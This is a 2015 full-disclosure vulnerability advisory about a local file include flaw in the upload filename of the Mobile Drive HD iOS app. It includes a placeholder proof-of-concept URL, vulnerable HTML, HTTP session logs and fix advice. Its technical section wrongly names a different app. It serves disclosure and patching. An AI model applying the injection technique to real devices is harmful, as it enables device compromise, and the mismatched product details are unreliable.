'[FD] Mobile Drive HD v1.8 - File Include Web Vulnerability'

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List:       full-disclosure
Subject:    [FD] Mobile Drive HD v1.8 - File Include Web Vulnerability
From:       Vulnerability Lab <research () vulnerability-lab ! com>
Date:       2015-04-21 9:46:09
Message-ID: 55361C61.6070109 () vulnerability-lab ! com
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Document Title:
===============
Mobile Drive HD v1.8 - File Include Web Vulnerability

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1446

Release Date:
=============
2015-03-11

Vulnerability Laboratory ID (VL-ID):
====================================
1446

Common Vulnerability Scoring System:
====================================
6.4

Product & Service Introduction:
===============================
Mobile Drive is the ideal app for anyone who transfer documents between PC, iPad and Cloud. \
Mobile Drive allows you to manage  documents and organize them. You can quickly upload and \
download documents via email and the popular cloud storage services.

(Copy of the Vendor Homepage: \
https://itunes.apple.com/en/app/mobile-drive-hd-document-cloud/id626102554 )

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered file include web vulnerability in \
the Mobile Drive HD v1.8 iOS mobile application.

Vulnerability Disclosure Timeline:
==================================
2015-03-11: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Keke Cai
Product: Mobile Drive HD- iOS Mobile Web Application 1.8

Exploitation Technique:
=======================
Local

Severity Level:
===============
High

Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official USB Disk Free - File \
Manager & Transfer v1.0 iOS mobile application. The local file include web vulnerability allows \
remote attackers to unauthorized include local file/path requests or system specific path \
commands  to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` module. Remote \
attackers are able to inject own files with malicious  `filename` values in the `upload` POST \
method request to compromise the mobile web-application. The local file/path include execution \
occcurs in  the index file dir listing of the wifi interface. The attacker is able to inject \
the local file include request by usage of the `wifi interface`  in connection with the \
vulnerable upload POST method request. 

Remote attackers are also able to exploit the filename issue in combination with persistent \
injected script codes to execute different malicious  attack requests. The attack vector is \
located on the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include web vulnerability is estimated as high with a cvss \
(common vulnerability scoring system) count of 6.4.  Exploitation of the local file include web \
vulnerability requires no user interaction or privileged web-application user account. \
Successful exploitation  of the local file include web vulnerability results in mobile \
application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8080/)

Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by local attackers without privileged \
application user accounts or user interaction. For security demonstration or to reproduce the \
security vulnerability follow the provided information and steps below to continue.

PoC: 
http://localhost:8080/files/%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png

PoC: Vulnerable Source
<tr class="shadow"><td><a href="/files/%3Ciframe%3E2.png" class="file">[LOCAL FILE INCLUDE \
VULNERABILITY!]%3E/2.png</a></td><td class='del'> <form action='/files/%3C[LOCAL FILE INCLUDE \
VULNERABILITY!]%3E/2.png' method='post'><input name='_method' value='delete' type='hidden'/> \
<input name="commit" type="submit" value="Delete" class='button' \
/></td></tr></tbody></table></iframe></a></td></tr></tbody> </table>

--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] \
Größe des Inhalts[67] Mime Type[text/html]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------21144193462
Content-Disposition: form-data; name="newfile"; filename="[LOCAL FILE INCLUDE \
                VULNERABILITY!]%3E/2.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  \
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[2739] Mime \
Type[application/x-unknown-content-type]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2739]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/jquery.js Load Flags[LOAD_NORMAL] Größe des Inhalts[55774] Mime \
Type[application/x-unknown-content-type]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[55774]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/files?Mon%20Mar%2009%202015%2015:26:02%20GMT+0100 Load \
Flags[LOAD_BACKGROUND  ] Größe des Inhalts[62] Mime Type[text/plain]  Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[application/json, text/javascript, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[62]
      Cache-Control[private, max-age=0, must-revalidate]
      Content-Type[text/plain; charset=utf-8]
      Date[Mo., 09 März 2015 14:24:13 GMT]

Reference(s):
http://localhost:8080/files/
http://localhost:8080/jquery.js

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the filename value in the upload \
POST method request. Restrict the filename input and  disallow special chars. Ensure that not \
multiple file extensions are loaded in the filename value to prevent arbitrary file upload \
attacks. Encode the output in the file dir index list with the vulnerable name value to prevent \
an application-side injection attacks.

Security Risk:
==============
The security risk of the local file include web vulnerability in the upload POST method request \
is estimated as high. (CVSS 6.4)

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) \
[www.vulnerability-lab.com]

Disclaimer & Information:
=========================
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exclusion or limitation of liability for  consequential or incidental damages so the foregoing \
limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,  \
policies, deface websites, hack into databases or trade with fraud/stolen material.

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